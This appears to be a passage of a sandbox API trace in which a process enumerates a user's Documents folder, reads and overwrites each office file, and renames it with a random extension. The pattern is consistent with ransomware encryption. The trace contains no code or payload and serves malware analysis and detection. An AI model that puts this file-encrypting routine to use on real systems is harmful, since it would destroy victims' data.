nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx.4moc17", lpFilePart=0x0) returned 0x3b [0152.799] SetErrorMode (uMode=0x1) returned 0x0 [0152.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\y9mbxacr2xee-izjw3.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd2320, ftCreationTime.dwHighDateTime=0x1d8628c, ftLastAccessTime.dwLowDateTime=0x2f3ddfd0, ftLastAccessTime.dwHighDateTime=0x1d8c0d9, ftLastWriteTime.dwLowDateTime=0x578febe0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x42f0)) returned 1 [0152.800] SetErrorMode (uMode=0x0) returned 0x1 [0152.800] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\y9mbxacr2xee-izjw3.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx.4moc17" (normalized: "c:\\users\\keecfmwgj\\documents\\y9mbxacr2xee-izjw3.xlsx.4moc17")) returned 1 [0152.801] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", lpFilePart=0x0) returned 0x2a [0152.801] SetErrorMode (uMode=0x1) returned 0x0 [0152.801] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\y_6on3l1.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.801] GetFileType (hFile=0x1d0) returned 0x1 [0152.801] SetErrorMode (uMode=0x0) returned 0x1 [0152.801] GetFileType (hFile=0x1d0) returned 0x1 [0152.801] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x17a42 [0152.802] ReadFile (in: hFile=0x1d0, lpBuffer=0x128194f0, nNumberOfBytesToRead=0x17a42, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x128194f0*, lpNumberOfBytesRead=0x21d4d8*=0x17a42, lpOverlapped=0x0) returned 1 [0152.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", lpFilePart=0x0) returned 0x2a [0152.831] SetErrorMode (uMode=0x1) returned 0x0 [0152.831] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\y_6on3l1.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.833] GetFileType (hFile=0x1d0) returned 0x1 [0152.833] SetErrorMode (uMode=0x0) returned 0x1 [0152.833] GetFileType (hFile=0x1d0) returned 0x1 [0152.833] WriteFile (in: hFile=0x1d0, lpBuffer=0x1288f8f8*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x1288f8f8*, lpNumberOfBytesWritten=0x21d558*=0x17a50, lpOverlapped=0x0) returned 1 [0152.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx", lpFilePart=0x0) returned 0x2a [0152.837] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx.t126g6", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx.t126g6", lpFilePart=0x0) returned 0x31 [0152.837] SetErrorMode (uMode=0x1) returned 0x0 [0152.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\y_6on3l1.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487bad80, ftCreationTime.dwHighDateTime=0x1d8a6a1, ftLastAccessTime.dwLowDateTime=0x51df2df0, ftLastAccessTime.dwHighDateTime=0x1d8aa86, ftLastWriteTime.dwLowDateTime=0x5794aea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17a50)) returned 1 [0152.837] SetErrorMode (uMode=0x0) returned 0x1 [0152.837] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\y_6on3l1.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\Y_6on3l1.docx.t126g6" (normalized: "c:\\users\\keecfmwgj\\documents\\y_6on3l1.docx.t126g6")) returned 1 [0152.838] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T", lpFilePart=0x0) returned 0x2b [0152.838] SetErrorMode (uMode=0x1) returned 0x0 [0152.838] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0152.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10f5c70, ftCreationTime.dwHighDateTime=0x1d8bee6, ftLastAccessTime.dwLowDateTime=0x5c4f0a60, ftLastAccessTime.dwHighDateTime=0x1d8bf37, ftLastWriteTime.dwLowDateTime=0x5c4f0a60, ftLastWriteTime.dwHighDateTime=0x1d8bf37, nFileSizeHigh=0x0, nFileSizeLow=0xe26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fIAl.docx", cAlternateFileName="FIAL~1.DOC")) returned 1 [0152.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b1a540, ftCreationTime.dwHighDateTime=0x1d8b9e1, ftLastAccessTime.dwLowDateTime=0x15563ac0, ftLastAccessTime.dwHighDateTime=0x1d8bb9a, ftLastWriteTime.dwLowDateTime=0x15563ac0, ftLastWriteTime.dwHighDateTime=0x1d8bb9a, nFileSizeHigh=0x0, nFileSizeLow=0x14b4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="H9Ph1__8iq0eDkOhCO.rtf", cAlternateFileName="H9PH1_~1.RTF")) returned 1 [0152.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda51a930, ftCreationTime.dwHighDateTime=0x1d8c06e, ftLastAccessTime.dwLowDateTime=0x187310b0, ftLastAccessTime.dwHighDateTime=0x1d8c0b4, ftLastWriteTime.dwLowDateTime=0x187310b0, ftLastWriteTime.dwHighDateTime=0x1d8c0b4, nFileSizeHigh=0x0, nFileSizeLow=0x15597, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_Ivk4yknnivy.ods", cAlternateFileName="J_IVK4~1.ODS")) returned 1 [0152.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda51a930, ftCreationTime.dwHighDateTime=0x1d8c06e, ftLastAccessTime.dwLowDateTime=0x187310b0, ftLastAccessTime.dwHighDateTime=0x1d8c0b4, ftLastWriteTime.dwLowDateTime=0x187310b0, ftLastWriteTime.dwHighDateTime=0x1d8c0b4, nFileSizeHigh=0x0, nFileSizeLow=0x15597, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_Ivk4yknnivy.ods", cAlternateFileName="J_IVK4~1.ODS")) returned 0 [0152.840] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0152.840] SetErrorMode (uMode=0x0) returned 0x1 [0152.840] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T", lpFilePart=0x0) returned 0x2b [0152.840] SetErrorMode (uMode=0x1) returned 0x0 [0152.840] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0152.841] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.841] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10f5c70, ftCreationTime.dwHighDateTime=0x1d8bee6, ftLastAccessTime.dwLowDateTime=0x5c4f0a60, ftLastAccessTime.dwHighDateTime=0x1d8bf37, ftLastWriteTime.dwLowDateTime=0x5c4f0a60, ftLastWriteTime.dwHighDateTime=0x1d8bf37, nFileSizeHigh=0x0, nFileSizeLow=0xe26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fIAl.docx", cAlternateFileName="FIAL~1.DOC")) returned 1 [0152.841] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b1a540, ftCreationTime.dwHighDateTime=0x1d8b9e1, ftLastAccessTime.dwLowDateTime=0x15563ac0, ftLastAccessTime.dwHighDateTime=0x1d8bb9a, ftLastWriteTime.dwLowDateTime=0x15563ac0, ftLastWriteTime.dwHighDateTime=0x1d8bb9a, nFileSizeHigh=0x0, nFileSizeLow=0x14b4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="H9Ph1__8iq0eDkOhCO.rtf", cAlternateFileName="H9PH1_~1.RTF")) returned 1 [0152.841] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda51a930, ftCreationTime.dwHighDateTime=0x1d8c06e, ftLastAccessTime.dwLowDateTime=0x187310b0, ftLastAccessTime.dwHighDateTime=0x1d8c0b4, ftLastWriteTime.dwLowDateTime=0x187310b0, ftLastWriteTime.dwHighDateTime=0x1d8c0b4, nFileSizeHigh=0x0, nFileSizeLow=0x15597, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_Ivk4yknnivy.ods", cAlternateFileName="J_IVK4~1.ODS")) returned 1 [0152.841] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda51a930, ftCreationTime.dwHighDateTime=0x1d8c06e, ftLastAccessTime.dwLowDateTime=0x187310b0, ftLastAccessTime.dwHighDateTime=0x1d8c0b4, ftLastWriteTime.dwLowDateTime=0x187310b0, ftLastWriteTime.dwHighDateTime=0x1d8c0b4, nFileSizeHigh=0x0, nFileSizeLow=0x15597, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_Ivk4yknnivy.ods", cAlternateFileName="J_IVK4~1.ODS")) returned 0 [0152.841] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0152.841] SetErrorMode (uMode=0x0) returned 0x1 [0152.842] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", lpFilePart=0x0) returned 0x35 [0152.842] SetErrorMode (uMode=0x1) returned 0x0 [0152.842] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\fial.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.842] GetFileType (hFile=0x1d0) returned 0x1 [0152.842] SetErrorMode (uMode=0x0) returned 0x1 [0152.842] GetFileType (hFile=0x1d0) returned 0x1 [0152.842] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xe26 [0152.842] ReadFile (in: hFile=0x1d0, lpBuffer=0x29385f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29385f0*, lpNumberOfBytesRead=0x21d418*=0xe26, lpOverlapped=0x0) returned 1 [0152.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", lpFilePart=0x0) returned 0x35 [0152.863] SetErrorMode (uMode=0x1) returned 0x0 [0152.863] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\fial.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.865] GetFileType (hFile=0x1d0) returned 0x1 [0152.865] SetErrorMode (uMode=0x0) returned 0x1 [0152.865] GetFileType (hFile=0x1d0) returned 0x1 [0152.865] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1db38*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x2a1db38*, lpNumberOfBytesWritten=0x21d3b8*=0xe30, lpOverlapped=0x0) returned 1 [0152.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx", lpFilePart=0x0) returned 0x35 [0152.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx.15psg9", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx.15psg9", lpFilePart=0x0) returned 0x3c [0152.867] SetErrorMode (uMode=0x1) returned 0x0 [0152.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\fial.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10f5c70, ftCreationTime.dwHighDateTime=0x1d8bee6, ftLastAccessTime.dwLowDateTime=0x5c4f0a60, ftLastAccessTime.dwHighDateTime=0x1d8bf37, ftLastWriteTime.dwLowDateTime=0x57997160, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xe30)) returned 1 [0152.867] SetErrorMode (uMode=0x0) returned 0x1 [0152.867] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\fial.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\fIAl.docx.15psg9" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\fial.docx.15psg9")) returned 1 [0152.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", lpFilePart=0x0) returned 0x42 [0152.868] SetErrorMode (uMode=0x1) returned 0x0 [0152.868] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\h9ph1__8iq0edkohco.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.869] GetFileType (hFile=0x1d0) returned 0x1 [0152.869] SetErrorMode (uMode=0x0) returned 0x1 [0152.869] GetFileType (hFile=0x1d0) returned 0x1 [0152.869] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x14b4e [0152.869] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a1f718, nNumberOfBytesToRead=0x14b4e, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a1f718*, lpNumberOfBytesRead=0x21d418*=0x14b4e, lpOverlapped=0x0) returned 1 [0152.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", lpFilePart=0x0) returned 0x42 [0152.980] SetErrorMode (uMode=0x1) returned 0x0 [0152.980] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\h9ph1__8iq0edkohco.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.982] GetFileType (hFile=0x1d0) returned 0x1 [0152.982] SetErrorMode (uMode=0x0) returned 0x1 [0152.982] GetFileType (hFile=0x1d0) returned 0x1 [0152.982] WriteFile (in: hFile=0x1d0, lpBuffer=0x295b340*, nNumberOfBytesToWrite=0x14b50, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x295b340*, lpNumberOfBytesWritten=0x21d498*=0x14b50, lpOverlapped=0x0) returned 1 [0152.985] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf", lpFilePart=0x0) returned 0x42 [0152.986] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf.bs3gvh", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf.bs3gvh", lpFilePart=0x0) returned 0x49 [0152.986] SetErrorMode (uMode=0x1) returned 0x0 [0152.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\h9ph1__8iq0edkohco.rtf"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b1a540, ftCreationTime.dwHighDateTime=0x1d8b9e1, ftLastAccessTime.dwLowDateTime=0x15563ac0, ftLastAccessTime.dwHighDateTime=0x1d8bb9a, ftLastWriteTime.dwLowDateTime=0x57ac7c60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14b50)) returned 1 [0152.986] SetErrorMode (uMode=0x0) returned 0x1 [0152.986] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\h9ph1__8iq0edkohco.rtf"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\H9Ph1__8iq0eDkOhCO.rtf.bs3gvh" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\h9ph1__8iq0edkohco.rtf.bs3gvh")) returned 1 [0152.989] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", lpFilePart=0x0) returned 0x3d [0152.990] SetErrorMode (uMode=0x1) returned 0x0 [0152.990] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\j_ivk4yknnivy.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.990] GetFileType (hFile=0x1d0) returned 0x1 [0152.990] SetErrorMode (uMode=0x0) returned 0x1 [0152.990] GetFileType (hFile=0x1d0) returned 0x1 [0152.990] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x15597 [0152.992] ReadFile (in: hFile=0x1d0, lpBuffer=0x128d0a28, nNumberOfBytesToRead=0x15597, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x128d0a28*, lpNumberOfBytesRead=0x21d418*=0x15597, lpOverlapped=0x0) returned 1 [0153.015] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", lpFilePart=0x0) returned 0x3d [0153.016] SetErrorMode (uMode=0x1) returned 0x0 [0153.016] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\j_ivk4yknnivy.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.018] GetFileType (hFile=0x1d0) returned 0x1 [0153.018] SetErrorMode (uMode=0x0) returned 0x1 [0153.018] GetFileType (hFile=0x1d0) returned 0x1 [0153.018] WriteFile (in: hFile=0x1d0, lpBuffer=0x1293b6c0*, nNumberOfBytesToWrite=0x155a0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x1293b6c0*, lpNumberOfBytesWritten=0x21d498*=0x155a0, lpOverlapped=0x0) returned 1 [0153.021] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods", lpFilePart=0x0) returned 0x3d [0153.021] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods.iwq3vk", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods.iwq3vk", lpFilePart=0x0) returned 0x44 [0153.021] SetErrorMode (uMode=0x1) returned 0x0 [0153.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\j_ivk4yknnivy.ods"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda51a930, 